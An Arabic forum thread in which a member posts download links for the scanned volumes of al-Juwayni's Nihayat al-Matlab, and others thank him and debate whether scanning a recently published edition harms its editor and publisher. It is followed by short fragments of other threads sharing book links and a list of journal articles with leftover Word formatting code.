أخيراً .. المفاجأة .. نهاية المطلب للجويني مصوراً
كلمة لابد منها:
كلمة لابد منها، حبستُها مع تصوير كتاب المسالك لابن العربي، لكن مادام أن الأمر تكرر هنا فأبوح بها وهي: أنك لو تفضلتَ بالتريث قليلا في الإقدام على هذا العمل، فإخراج الكتاب لم يحل عليه الحول بعد، وأكيد أن القوم صرفوا جهوداً ضخمة وأموالا كبيرة في تحقيق وإخراج هذا الكتاب المهم ... ؛ فمن حقهم أن يستعيدوا مقابل أتعابهم؛ والذي يُخشى أن الهرولة إلى تصوير الكتب الحديثة جداً سيضرّ بالتراث الإسلامي من حيث قصدنا الخير به، ويضرّ بالباحثين وأهل التحقيق فينصرفون ويكسلون عن مثل هذه الأعمال الجليلة.
هي فقط كلمة حزت في نفسي وأردت الإفصاح عنها هنا لتأكد مناسبتها ولا ولم أدخل أي جدل فقهي أو غيره حول هذه المسألة ..
ـ[أبو غالية]ــــــــ[08 - 10 - 08, 11:55 م]ـ
المجلد الثاني
http://www.archive.org/download/NhayatulMatlab_111/nmdm02.pdf
ـ[المطلبي]ــــــــ[08 - 10 - 08, 11:56 م]ـ
كلمة لابد منها:
كلمة لابد منها، حبستُها مع تصوير كتاب المسالك لابن العربي، لكن مادام أن الأمر تكرر هنا فأبوح بها وهي: أنك لو تفضلتَ بالتريث قليلا في الإقدام على هذا العمل، فإخراج الكتاب لم يحل عليه الحول بعد، وأكيد أن القوم صرفوا جهوداً ضخمة وأموالا كبيرة في تحقيق وإخراج هذا الكتاب المهم ... ؛ فمن حقهم أن يستعيدوا مقابل أتعابهم؛ والذي يُخشى أن الهرولة إلى تصوير الكتب الحديثة جداً سيضرّ بالتراث الإسلامي من حيث قصدنا الخير به، ويضرّ بالباحثين وأهل التحقيق فينصرفون ويكسلون عن مثل هذه الأعمال الجليلة.
هي فقط كلمة حزت في نفسي وأردت الإفصاح عنها هنا لتأكد مناسبتها ولا ولم أدخل أي جدل فقهي أو غيره حول هذه المسألة
وأنا أؤيدك أخي خلدون
يجب ألا نتسرع في هذا الأمر فعواقبه وخيمة
وأول متضرر من ذلك طلبة العلم
هدانا الله وإياكم أجمعين لفقه تقدير المصالح والمفاسد
وجزاكم الله خيراً
ـ[أبو غالية]ــــــــ[09 - 10 - 08, 12:06 ص]ـ
المجلد الثالث:
http://www.archive.org/download/NhayatulMatlab_445/nmdm03.pdf
ـ[أبو غالية]ــــــــ[09 - 10 - 08, 12:27 ص]ـ
المجلد الرابع:
http://www.archive.org/download/NhayatulMatlab_666/nmdm04.pdf
المجلد الخامس:
http://www.archive.org/download/NhayatulMatlab_351/nmdm05.pdf
ـ[أبو غالية]ــــــــ[09 - 10 - 08, 01:02 ص]ـ
المجلد السادس:
http://www.archive.org/download/NhayatlMatlab/nmdm06.pdf
المجلد السابع:
http://www.archive.org/download/NhayatlMatlab_922/nmdm07.pdf
ـ[أبو غالية]ــــــــ[09 - 10 - 08, 06:09 ص]ـ
المجلد الثامن:
http://www.archive.org/download/NhayatulMatlab_246/nmdm08.pdf
ـ[خالد البعلبكي]ــــــــ[09 - 10 - 08, 08:25 ص]ـ
يوجد مشكلة برابط المجلد الثاني
http://www.archive.org/download/Nhay...111/nmdm02.pdf
نرجو التثبت منه مع الشكر
ـ[السهيلي]ــــــــ[09 - 10 - 08, 08:49 ص]ـ
الروابط معطلة.
عندما يكون الكتاب باهظ الثمن، كيف يحصل عليه طالب العلم؟
عندما يطبع الكتاب في طبعة محدودة جدا، كيف يحصل عليه طالب العلم؟
لماذا لا يجري إصدار نسخة اليكترونية pdf من الكتاب كما تفعل دور النشر في أوربا وأمريكا؟
لماذا ينظر فقط لمصلحة المؤلف والمحقق والناشر، ونضيع حقوق الخلق في الحصول على العلم؟
من حقيقة من يصنع المفسدة من توفير دواعي الجهل وهو يعلم أن الغالبية العظمى من طلاب العلم فقراء؟
ما الذي يدفعني للجلوس أمام شاشة تؤثر على عيني بحثا عن كتاب؟
إنه غلاء الكتب وندرتها وقلة مواردي.
من يرحمنا؟
المؤلف أم المحقق أم الناشر أم من؟
الحمد لله رب العالمين الرحمن الرحيم.
(يُتْبَع .. اقلب الصفحة)
(61/478)
ـ[الألخاسي]ــــــــ[09 - 10 - 08, 10:02 ص]ـ
زد، زادك الله خيرا!
ولا أظن أن دار المنهاج سوف تفتقر بسبب تصوير هذا الكتاب، لأن من يريد شراء الكتاب لا يوقفه وجود الكتاب مصورا داخل الحاسوب.
ـ[ماجد المسلم]ــــــــ[09 - 10 - 08, 04:53 م]ـ
جزاك الله خيراً وبارك فيك ..
أخي خالد البعلبكي .. رابط المجلد الثاني يعمل.
ـ[خالد البعلبكي]ــــــــ[09 - 10 - 08, 05:57 م]ـ
جزاك الله خيراً وبارك فيك ..
أخي خالد البعلبكي .. رابط المجلد الثاني يعمل.
شكرا جزيلا لك للتوضيح والاهتمام
كان الرابط لا يعمل ليلا يبدو انه كان مرتاحا وفي الصباح والصباح رباح أذن بالتحميل المباح
ـ[أبو المعالي الأمزيلي]ــــــــ[09 - 10 - 08, 06:58 م]ـ
جزاكم الله خيرا
يرجى وضع رابط صفحة الكتاب، أو الروابط التي تدعم التحميل، بارك الله فيكم ووفقكم.
ـ[مصطفي سعد]ــــــــ[09 - 10 - 08, 09:26 م]ـ
جارى التحميل ومما سمعته ايضا ان المحقق من المتخصصين فى كتب الامام الحرمين الجوينى
ـ[مصطفي سعد]ــــــــ[09 - 10 - 08, 09:34 م]ـ
كلمة لابد منها:
كلمة لابد منها، حبستُها مع تصوير كتاب المسالك لابن العربي، لكن مادام أن الأمر تكرر هنا فأبوح بها وهي: أنك لو تفضلتَ بالتريث قليلا في الإقدام على هذا العمل، فإخراج الكتاب لم يحل عليه الحول بعد، وأكيد أن القوم صرفوا جهوداً ضخمة وأموالا كبيرة في تحقيق وإخراج هذا الكتاب المهم ... ؛ فمن حقهم أن يستعيدوا مقابل أتعابهم؛ والذي يُخشى أن الهرولة إلى تصوير الكتب الحديثة جداً سيضرّ بالتراث الإسلامي من حيث قصدنا الخير به، ويضرّ بالباحثين وأهل التحقيق فينصرفون ويكسلون عن مثل هذه الأعمال الجليلة.
هي فقط كلمة حزت في نفسي وأردت الإفصاح عنها هنا لتأكد مناسبتها ولا ولم أدخل أي جدل فقهي أو غيره حول هذه المسألة ..
لكن الكتب غالية الثمن ماذا نفعل ولا شك ان المحقق قد يقوم بمجهود يصل الى عدة اعوام مثل عمل الشيخ احمد شاكر فى الرسالة للشافعى والكتاب لكى يكون نسخته جيدة لابد ان يكون المحقق الفلانى لان الكتاب سيخرج به اقل عدد من الاخطاء والذى لا اله غيره لقد اشتريت كتاب المهذب فى اصول الفقه المقارن بازيد من سعره الاصلى 30 جنيها لاننى اشتريته بالتقسيط من بائع كنت اعرفه فشكرا لك ايها الغالى
ـ[مصطفي سعد]ــــــــ[09 - 10 - 08, 09:45 م]ـ
الروابط معطلة.
ما الذي يدفعني للجلوس أمام شاشة تؤثر على عيني بحثا عن كتاب؟
الحمد لله رب العالمين الرحمن الرحيم.
وهل لديك حل اخر!!!!! ولا ننسى ان نشكر كل من ينزل لنا كتابا لا نستطيع ان نشتريه
ورب الكعبة لقد اشتريت كتاب اتحاف ذوى البصائر للدكتور عبدالكريم النملة طبعة الرشد (وطبعا كتبها غالية) ب 336جنيها مصريا ولقد ادخرت لاشتريه والخط اصغر من الخط الذى اكتب به هذا الرد
مثال اخر الفقه الاسلامى وادلته ب 450 جنيها هذا اكبرمن راتبى
ـ[أبوالوليد السلفي]ــــــــ[10 - 10 - 08, 03:03 ص]ـ
أظن أن من يريد هذا الكتاب صنفين,
أما الأول فهو يملك المال الذي يكفي ثمن هذا الكتاب, وهذا الصنف سيشتريه سواء كان مصوراً على الشبكة أم لا.
وأما الصنف الثاني فهو الذي يريده ولا يملك المال , فهذا الصنف لن يؤثر ألبته على الناشر لأنه لن يشتري الكتاب حتى لو لم يكن مصوراً.
ولا أظن أن هناك طالب علم يكون معه ثمن الكتاب الي يريده, ثم يزهد في شراءه لوجوده مصوراً.
بل هناك من يوفر من مصاريف أكله وشربه حتى يشتري الكتاب.
والله أعلم.
ـ[أبو محمد الإفريقي]ــــــــ[10 - 10 - 08, 09:15 ص]ـ
جزاك الله خيرا
ـ[السهيلي]ــــــــ[10 - 10 - 08, 12:55 م]ـ
آخر ما استطعت شراؤه تقسيطا تهذيب الكمال، وذلك لمعرفة البائع بي، لكن منذ سنوات الظروف الاقتصادية تغيرت وازدادت أسعار المواد الضرورية للحياة زيادة مفرطة لا تدع لك سبيلا إلا شراء رخيص الكتب ومستعملها، لذا لجأت للكتب المنشورة على الشبكة ... ما رماك على المر إلا ما هو أكثر مرارة .. ولا حول ولا قوة إلا بالله وحسبنا الله ونعم الوكيل.
ـ[أبو عبد الله الكندي]ــــــــ[10 - 10 - 08, 01:31 م]ـ
الأخ أبو غالية
جزاك الله خيرا
وفقك الله لكل خير ولنشر العلم
ـ[أبو عبدالله حمد]ــــــــ[10 - 10 - 08, 01:35 م]ـ
أظن الكتاب طبعت اعداد منه على نفقة وزارة الاوقاف القطرية حبذا لو تم تأكيد الخبر من الاخوة هناك والمحقق متخصص في تراث الجوينى
ـ[أبو غالية]ــــــــ[10 - 10 - 08, 02:05 م]ـ
المجلد التاسع:
http://www.archive.org/download/Nhayatulmtlb/nmdm09.pdf
المجلد العاشر:
http://www.archive.org/download/Nhaytukmtlb/nmdm10.pdf
ـ[أبو غالية]ــــــــ[10 - 10 - 08, 02:33 م]ـ
المجلد الحادي عشر:
http://www.archive.org/download/Nhaytulmtlb/nmdm11.pdf
المجلد الثاني عشر:
http://www.archive.org/download/Nhaytulmtlb_376/nmdm12.pdf
(يُتْبَع .. اقلب الصفحة)
(61/479)
ـ[أبو غالية]ــــــــ[10 - 10 - 08, 02:59 م]ـ
المجلد الثالث عشر:
http://www.archive.org/download/Nhytulmtlb/nmdm13.pdf
المجلد الرابع عشر:
http://www.archive.org/download/Nhytulmatlb/nmdm14.pdf
ـ[أبو غالية]ــــــــ[10 - 10 - 08, 04:46 م]ـ
المجلد الخامس عشر:
http://www.archive.org/download/Nhytmtlb/nmdm15.pdf
المجلد السادس عشر:
http://www.archive.org/download/Nhytmtlb/nmdm16.pdf
المجلد السابع عشر:
http://www.archive.org/download/Nhytmtlb/nmdm17.pdf
ـ[السهيلي]ــــــــ[10 - 10 - 08, 05:27 م]ـ
جزاك الله خيرا وجعل عملك في ميزان حسناتك يوم الدين.
ـ[أبو إسلام عبد ربه]ــــــــ[10 - 10 - 08, 05:42 م]ـ
بسم الله
الحمد لله والصلاة والسلام على رسول الله
وبعد
ما الذي يضر طالب العلم إذا انتظر عامين بعد طبع الكتاب؟!!!!!!!!!!!!!
الكتاب ظل عدة قرون في حكم العدم، فما المشكلة في انتظار عامين بعد طبعه؟!!!!
إن الإسراع في تصوير كل كتاب فور طبعه - سيؤدي إلى إحجام المؤلفين عن صرف سنوات وسنوات لتحقيق مخطوط أو لكتابة بحث، وإذا فعل المؤلف أو المحقق ذلك، فقد لا يجد الناشر الذي يتبنى هذا العمل؛ لأن ما ينفقه من أموال قد يعجز عن تحصيلها بعد تصوير الكتاب فور ظهوره.
أما لو علم الباحث والمؤلف والمحقق والناشر أن التصوير ممنوع قبل مرور عامين من طبع الكتاب، فسيزول العائق الذي ذّكر سابقا.
إن طلبة العلم يهدرون حقوق المؤلف والمحقق والناشر تحت ستار:
(يُمنع كتمان العلم وماذا نفعل مع غلاء الأسعار)
إنما قد يصح قولهم هذا إذا طُلب منهم الامتناع من التصوير سنوات وسنوات، وإنما يُطلب منهم الانتظار عامين فقط!!!
هذه المدة قيل أن المؤلف والناشر يغلب على الظن تحصيلهم النفقات مع بعض الربح، وبعد ذلك قد يُعذر من يلجأ إلى التصوير تيسيرا على طلبة العلم العاجزين عن الشراء.
إذا لم تتم مراعاة ذلك فلن نجد كتابا يُطبع مثل نهاية المطلب، لن نجد المحقق الذي يُنفق على المخطوط، لن نجد الناشر الذي يُنفق على الطبع والتوزيع.
فمن الخاسر الحقيقي حينئذ؟!!!!
قد يُستثنى من ذلك من تصدى للجهاد بالكلمة والقلم ولا يجد من يدعمه ماديا، فقد يجوز له تصوير الكتاب كنسخة خاصة لاستخدامها في جهاده، لكن لا يجوز له نشر هذه النسخة على الملأ
ـ[أبو غالية]ــــــــ[10 - 10 - 08, 05:44 م]ـ
المجلد الثامن عشر:
http://www.archive.org/download/Nhytmtlb_14/nmdm18.pdf
المجلد التاسع عشر:
http://www.archive.org/download/Nhytmtlb_14/nmdm19.pdf
المجلد العشرون (الأخير)
http://www.archive.org/download/Nhytmtlb_14/nmdm20.pdf
وبهذا تم الكتاب بحمد الله .. نسأل الله أن ينفع به
ـ[ابو عبدالله الرفاعي]ــــــــ[10 - 10 - 08, 06:14 م]ـ
جزاكم الله خيرا
ـ[أبو عبد الله المدني]ــــــــ[10 - 10 - 08, 10:56 م]ـ
يا أبا غالية
هذا كتاب خفنا أن نموت ولا نراه، فطالما سمعنا عنه ونحن المالكية، فلا نسأل الله لك إلا أن يجازيك عنه بالجنة، وما ذلك على الله بعزيز ....
بارك الله فيك
ـ[حسن مظفر الرزو]ــــــــ[10 - 10 - 08, 11:07 م]ـ
بوركت وجزاك الله خيراً عنا وعن طلبة الفقه
ـ[أحمد محمد أحمد بخيت]ــــــــ[11 - 10 - 08, 01:44 ص]ـ
سبحان الله، احترنا فيمن يحضره لنا من قطر ولو بأجرة نقل - فقد وعدنا بالكتاب ذاته مجانا- فجئتنا به متطوعا، بارك الله فيك، وللأخوة الذين يقترجون الإرجاء حفظا لحقوق النشر أقول إن وزارة الأوقاف القطرية توزعه لمن يطلب على أن يتحمل الطالب نقله، فاطمئنوا قلبا، زادكم الله أمانة وأمنا.
ـ[حازم ناظم فاضل]ــــــــ[11 - 10 - 08, 03:45 ص]ـ
احسن الله اليك وغفر الله لك ولوالديك
ـ[حامد الحجازي]ــــــــ[11 - 10 - 08, 07:12 ص]ـ
يا أبا غالية سلمك الله ورزقك العافية
أغلى مشاركة رأيتها منذ مدة
فلا تدري كم نفعت بعملك هذا من علماء وطلبة علم ومهتمين
كم من الناس يشارك! ولكن هناك من يتميز بمشاركته لتصبح غالية ونفيسة
فالدعاء موصول لك لمجهودك الكبير النافع!
ـ[عبدالعزيز السلفي]ــــــــ[11 - 10 - 08, 11:08 ص]ـ
بسم الله الرحمن الرحيم
الحمدلله والصلاة والسلام على أشرف الأنبياء والمرسلين أما بعد:
هذا رأي شخصي لي في هذا المجال أرجو أن يتسع المجاله.
بالنسبة إلى تحويل الكتب إلى كتب إلكترونية فهو عمل جميل و لا أخاله يمنع من الكتب فالقرآءة في الكتاب أسهل وأحسن وأريح للعين وأخال الجميع يفضلها.
فالتحويل إلى إلاكتروني لن يلغي عمل الكتاب و إن قلل منه.
اما عن تحقيق الكتابه فهو في نظري ليس ثمناً فهل تظن الشيخ أحمد شاكر جلس سنين من أجل المال! بطبع لا حتى وإن در عليه القليل من المال فلا تقابل الوقت المبذول
بل تجد الفحول الذين تربعو لتدريس بلا مقابل أو في الجامعات وفيهم من الذكاء ما يجعلهم أغنياء العالم مثل ما قال صاحب أضواء البيان (لو أردناها لعرفنا من أين تأكل الكتف)
المهم حتى المحقق من أعطاه حق حصر نسخة المؤلف.
الآن الدور تنتشر ولا نكن مغلقين ندفع التقنية بل يجب أن نكون مع التقنية ونستفيد منها
ما معنى 2 سيدي تكون بما يقارب الألف ريال في الفقة!.
وكلمة أخيرة وهي يا إخواني العلم هبة من الله سبحانة وتعالى نور يكون في قلب من من الله عليه وليس بكثرة جمع الفوائد والكتب وإنما هي أسباب
وصلى الله وسلم على نبينا محمد
(يُتْبَع .. اقلب الصفحة)
(61/480)
ـ[أبو عبدالله بن جفيل العنزي]ــــــــ[11 - 10 - 08, 03:45 م]ـ
أحسن الله إليك (أبا غالية) وأجزل لك المثوبة.
ـ[حرملة بن عبد الله]ــــــــ[11 - 10 - 08, 07:05 م]ـ
آه و فرحتاه، كتاب عظيم سقط في يدي اليوم!!
أخي، المصوَّر لا يوقف شراء الكتاب، فحتى وجدته في مكتبات أوروبية، فهو يعتبر ككنز حديث يسيل له لعاب محبي قراءة الكتب!
ـ[مصطفي سعد]ــــــــ[11 - 10 - 08, 07:59 م]ـ
هدية غالية ايها الغالى ابوغالية ومن قرا المقدمة الرائعة اشتاق الى قراءة الكتاب جزى الله المحقق خيرا
ـ[حرملة بن عبد الله]ــــــــ[11 - 10 - 08, 08:40 م]ـ
أقول لإخواني من أهل الحديث مثلما قال الإمام ابواسحاق الشيرازي: تمتعوا بهذا الإمام!!
وكونوا منصفين معه!!
ـ[أبو يوسف العامري]ــــــــ[12 - 10 - 08, 03:40 م]ـ
انا نزلت المسالك من الشبكة .. ولم يمنعني ذلك من شرائه
ـ[أبو أيوب العامري]ــــــــ[13 - 10 - 08, 02:57 م]ـ
السلام عليكم ورحمة الله وبركاته
أولا أشكركم على إحضاركم لهذا الكتاب الممتع والمفيد
ولكن إخواني الكريم وأخص أخي أبا غالية
وجدت معي بعض المشاكل عندما أردت التحميل
فماهو الحل
ولكم الشكر والتقدير
وجزاكم الله خيرا
ـ[أبو أيوب العامري]ــــــــ[14 - 10 - 08, 01:08 ص]ـ
للرفع لعل أحدا يفيدنا
ـ[أبو روميساء]ــــــــ[21 - 10 - 08, 08:14 ص]ـ
لكم الله ياطلبة العلم
ـ[أبو داود الكناني]ــــــــ[22 - 10 - 08, 12:36 م]ـ
أخي الحبيب جزاك الله كل خير
ـ[محمد القفاش]ــــــــ[23 - 10 - 08, 05:46 م]ـ
إلى الإخوة في المنتدي وفاءً بحق الشيخ العلامة الدكتور المحقق عبدالعظيم الديب (صاحب إمام الحرمين) انظر الرابط
http://www.ahlalhdeeth.com/vb/showthread.php?t=149634
ـ[الطيماوي]ــــــــ[25 - 10 - 08, 02:18 ص]ـ
كلمة لابد منها:
كلمة لابد منها، حبستُها مع تصوير كتاب المسالك لابن العربي، لكن مادام أن الأمر تكرر هنا فأبوح بها وهي: أنك لو تفضلتَ بالتريث قليلا في الإقدام على هذا العمل، فإخراج الكتاب لم يحل عليه الحول بعد، وأكيد أن القوم صرفوا جهوداً ضخمة وأموالا كبيرة في تحقيق وإخراج هذا الكتاب المهم ... ؛ فمن حقهم أن يستعيدوا مقابل أتعابهم؛ والذي يُخشى أن الهرولة إلى تصوير الكتب الحديثة جداً سيضرّ بالتراث الإسلامي من حيث قصدنا الخير به، ويضرّ بالباحثين وأهل التحقيق فينصرفون ويكسلون عن مثل هذه الأعمال الجليلة.
هي فقط كلمة حزت في نفسي وأردت الإفصاح عنها هنا لتأكد مناسبتها ولا ولم أدخل أي جدل فقهي أو غيره حول هذه المسألة ..
وأنا أؤيدك في هذا، وجميل ما صنعه الاخوة في مكتبة المهتدون حيث لم يصورا كتابا إلا بعد مرور عامين على صدوره.
ـ[مصطفي سعد]ــــــــ[25 - 10 - 08, 05:22 م]ـ
سبحان الله، احترنا فيمن يحضره لنا من قطر ولو بأجرة نقل - فقد وعدنا بالكتاب ذاته مجانا- فجئتنا به متطوعا، بارك الله فيك، وللأخوة الذين يقترجون الإرجاء حفظا لحقوق النشر أقول إن وزارة الأوقاف القطرية توزعه لمن يطلب على أن يتحمل الطالب نقله، فاطمئنوا قلبا، زادكم الله أمانة وأمنا.
شكرا لك وللغالى ابوغالية
ـ[محمد بن جرير]ــــــــ[25 - 10 - 08, 11:43 م]ـ
جزاك الله خيرا، ولا عليك من المثبطين، فلن يخسر المحقق ولا الناشر شيئا، إنما يستفيد فقراء طلبة العلم من الكتب المصورة.
ـ[أبو زيد الخير]ــــــــ[06 - 11 - 08, 09:23 م]ـ
جزاك الله خيراً أخي المفضال على هذه الدرة الغالية و التحفة النفيسة
ـ[أبو زيد الخير]ــــــــ[06 - 11 - 08, 09:30 م]ـ
تفضلوا صفحة الروابط المباشرة لهذا الكتاب النفيس والدرة الغالية المسمى أيضاً بالمذهب الكبير:
http://ia310840.us.archive.org/2/items/jowayni/jowayni.htm
...
ـ[أبو زيد الخير]ــــــــ[06 - 11 - 08, 09:40 م]ـ
قالوا عن هذا الكتاب:
قال الحافظ ابن عساكر المتوفى سنة 529 هـ عن هذا الكتاب: " المذهب الكبير المسمى بنهاية المطلب في دراية المذهب ما صنف في الإسلام قبله مثله ".
وقال عنه الإمام تاج الدين السبكي المتوفى سنة 771 هـ: " النهاية في الفقه لم يصنف في المذهب مثلها فيما أجزم به ".
وقال عنه الإمام ابن حجر الهيثمي المتوفى سنة 973 هـ: (استفاض بين الأصحاب وأئمة المذهب قولهم: " منذ صنف الإمام نهاية المطلب لم يشتغل الناس إلا بكلام الإمام").
...
ـ[أبو زيد الخير]ــــــــ[06 - 11 - 08, 09:45 م]ـ
و للمناسبة هذا كتاب الإمام الجويني إمام الحرمين ضمن سلسلة أعلام المسلمين من تأليف الدكتور محمد الزحيلي مصوراً؛ وللعلم فإن الإمام الجويني قد عُدَّ مجددا في زمانه لما كان عليه من غزارة العلم التي بهرت كبار العلماء فضلا عن صغارهم وذلك فضل الله يؤتيه من يشاء.
حملوا الكتاب من هذا الرابط:
http://www.4shared.com/file/66684026...ified=32c713c9
...
ـ[وليد محمود]ــــــــ[18 - 11 - 08, 02:59 م]ـ
نرجو إعادة رفعه
بارك الله فيكم
(يُتْبَع .. اقلب الصفحة)
(61/481)
ـ[القعقاع محمد]ــــــــ[29 - 04 - 09, 10:55 ص]ـ
جزاك الله خيراً بلا حدود
ورزقك الله رزقاً لا يحد
وبارك الله لك فيما رزقك من علم ومال وولد
ـ[صباح أحمد البيلى]ــــــــ[06 - 01 - 10, 10:55 ص]ـ
ارجو المساعده الروابط كلها لاتعمل يبدأ التحميل ولكن لا يكتمل
وجزاكم الله خيرا
ارجو الرد سريعا
ـ[عبد الرحمن العدناني]ــــــــ[06 - 01 - 10, 12:30 م]ـ
توفي اليوم محقق هذا الكتاب عبد العظيم الديب رحمة الله عليه
الاخوة الذين طلبوا تريث التصوير لمدة عامين اقول لكم الكتاب يوزع مجانا على طلبة العلم والوزارة لا تنتظر فائدة مالية منه فلا حرج في تصويره
ـ[أبو خالد عوض]ــــــــ[06 - 01 - 10, 01:19 م]ـ
بارك الله فكم وجزاكم ربي ومولاي خيرات بركات وجنات
ـ[صباح أحمد البيلى]ــــــــ[06 - 01 - 10, 05:14 م]ـ
رحمة الله عليه وجزاه الله عن هذا الكتاب خير الجزاء
وارجو من لديه هذا الكتاب ان يرفعه مادام لم يوجد حرج فى التصوير
ـ[بوصرهدالحضرمي]ــــــــ[19 - 02 - 10, 12:13 ص]ـ
اريو من الاخوة الذي عنده هذه الدرة ان يعيد رفعها
ـ[محمد سامي إبراهيم]ــــــــ[19 - 02 - 10, 04:57 ص]ـ
بسم الله الرحمن الرحيم
جزيتم خيرا على هذا العمل المبارك فقد استطعت من تحميل الكتاب جميعا بفضل الله تعالى، ولله الحمد في الأولى والآخرة، ولكم الشكر أولا وآخرا وجعلكم الله في خدمة الإسلام والمسلمين.
ـ[ابو بكر المغربي]ــــــــ[19 - 02 - 10, 11:19 ص]ـ
جزاك الله خيرا
ـ[أبو اسحاق المصرى]ــــــــ[19 - 02 - 10, 05:29 م]ـ
رحم الله تعالى الشيخ الديب.
ولكني أعجب كيف يكون رجل بهذا الحجم ولا يعرفه إلا القلة النادرة من طلبة العلم!
وأنا أكتب هذه المشاركة، تذكرت الشيخ المعلمي اليماني رحمه الله تعالى.
الظاهر أن هذه النوعية من العلماء تؤثر الخمول وعدم الشهرة خوفًا على نفسها من مفسدات القلب.
نسأل الله تعالى أن يرزقنا جميعًا الإخلاص.
ـ[يوسف الرفاعى]ــــــــ[23 - 02 - 10, 07:49 م]ـ
شكرا جزيلا و جزاكم الله خيرا(61/482)
حمل: الإكمال في ذكر من له رواية في مسند الإمام أحمد من الرجال، للحسيني pdf
ـ[محمد بن عبدالله]ــــــــ[08 - 10 - 08, 08:20 م]ـ
بسم الله الرحمن الرحيم
الحمد لله وحده ..
هذا كتاب (الإكمال في ذكر من له رواية في مسند الإمام أحمد من الرجال سوى من ذكر في تهذيب الكمال)، للحافظ شمس الدين محمد بن علي بن الحسن بن حمزة الحسيني (ت 765)، تحقيق/ عبدالمعطي أمين قلعجي، من منشورات جامعة الدراسات الإسلامية بكراتشي؛ باكستان.
رابط التحميل ( http://www.kabah.info/uploaders/mohmsor/ikhus.rar)
وجزاكم الله خيرًا.
ـ[أبو محمد المرقال]ــــــــ[08 - 10 - 08, 09:17 م]ـ
جزاك الله خيرا ونفع بك أخي الفاضل
ـ[الرايه]ــــــــ[08 - 10 - 08, 09:36 م]ـ
بارك الله فيك أخي الكريم محمد
ـ[عبد الرحمن أبو عبد الله]ــــــــ[09 - 10 - 08, 03:24 ص]ـ
جزاك الله خيرا
ـ[الطيماوي]ــــــــ[17 - 08 - 09, 12:53 م]ـ
http://www.megaupload.com/?d=OUVDG9HP(61/483)
مقالات مجلة الحكمة للشاملة
ـ[عبدالحكيم طويلب]ــــــــ[08 - 10 - 08, 09:17 م]ـ
هذه مقالات مجلة الحكمة للشاملة ...
وهذه عناوينها:
****** http-*****="*******-Type" *******="text/html; charset=utf-8">****** name="ProgId" *******="Word.Document">****** name="Generator" *******="Microsoft Word 11">****** name="Originator" *******="Microsoft Word 11"><link rel="File-List" href="file:///C:%5CDOCUME%7E1%5CHakim%5CLOCALS%7E1%5CTemp%5Cmsoh tml1%5C01%5Cclip_filelist.xml"><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:PunctuationKerning/> <w:ValidateAgainstSchemas/> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixed*******>false</w:IgnoreMixed*******> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:Compatibility> <w:BreakWrappedTables/> <w:SnapToGridInCell/> <w:WrapTextWithPunct/> <w:UseAsianBreakRules/> <w:DontGrowAutofit/> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" LatentStyleCount="156"> </w:LatentStyles> </xml><![endif]--><style> <!-- /* Font Definitions */ @font-face {font-family:Tahoma; panose-1:2 11 6 4 3 5 4 4 2 4; mso-font-charset:0; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:1627421319 -2147483648 8 0 66047 0;} @font-face {font-family:"ATraditional Arabic"; panose-1:0 0 0 0 0 0 0 0 0 0; mso-font-charset:178; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:24577 0 0 0 64 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0cm; margin-bottom:.0001pt; text-align:justify; text-justify:kashida; text-kashida:0%; text-indent:22.7pt; mso-pagination:widow-orphan; direction:rtl; unicode-bidi:embed; font-size:12.0pt; mso-bidi-font-size:18.0pt; font-family:Tahoma; mso-fareast-font-family:"Times New Roman"; mso-bidi-font-family:"ATraditional Arabic"; position:relative; top:-1.0pt; mso-text-raise:1.0pt; letter-spacing:.1pt; mso-font-kerning:12.0pt; mso-fareast-********:AR-SA;} @page Section1 {size:595.3pt 841.9pt; margin:72.0pt 90.0pt 72.0pt 90.0pt; mso-header-margin:35.4pt; mso-footer-margin:35.4pt; mso-paper-source:0; mso-gutter-direction:rtl;} div.Section1 {page:Section1;} /* List Definitions */ @list l0 {mso-list-id:1889754719; mso-list-type:hybrid; mso-list-template-ids:1621900302 -761658492 67698713 67698715 67698703 67698713 67698715 67698703 67698713 67698715;} @list l0:level1 {mso-level-text:%1-; mso-level-tab-stop:18.0pt; mso-level-number-position:left; margin-left:18.0pt; text-indent:-18.0pt;} ol {margin-bottom:0cm;} ul {margin-bottom:0cm;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Tableau Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-********:#0400; mso-fareast-********:#0400; mso-bidi-********:#0400;} </style> <![endif]--> <!--[if !supportLists]-->1-<!--[endif]--> أجوبةٌ على مسائلٍ سألَها النَّووي فِي أَلفَاظٍ مِن الحَدِيْثِ< o:p></o:p>
<!--[if !supportLists]-->2-<!--[endif]--> أحكام المرأة الحامل< o:p></o:p>
<!--[if !supportLists]-->3-<!--[endif]--> أسانيد آية الرَّجم< o:p></o:p>
<!--[if !supportLists]-->4-<!--[endif]--> أُصُول السُنَّة< o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/484)
<! --[ if !supportLists]-->5-<!--[endif]--> الأحاديث والآثار التي تكلم عليها شيخ الإسلام ابن تيمية< o:p></o:p>
<!--[if !supportLists]-->6-<!--[endif]--> الأوهام الواقعة في أسماء العلماء والأعلام< o:p></o:p>
<!--[if !supportLists]-->7-<!--[endif]--> التقِييدُ والإيضَاح لقولهم لا مُشاحّة في الإصطلاح< o:p></o:p>
<!--[if !supportLists]-->8-<!--[endif]--> التوبة< o:p></o:p>
<!--[if !supportLists]-->9-<!--[endif]--> الغرر السافر فيما يحتاج إليه المسافر< o:p></o:p>
<!--[if !supportLists]-->10- <!--[endif]--> الفوائد المحصلة من الصواعق المرسلة< o:p></o:p>
<!--[if !supportLists]-->11- <!--[endif]--> القواعد العلمية في النقد عند شيخ الإسلام ابن تيمية< o:p></o:p>
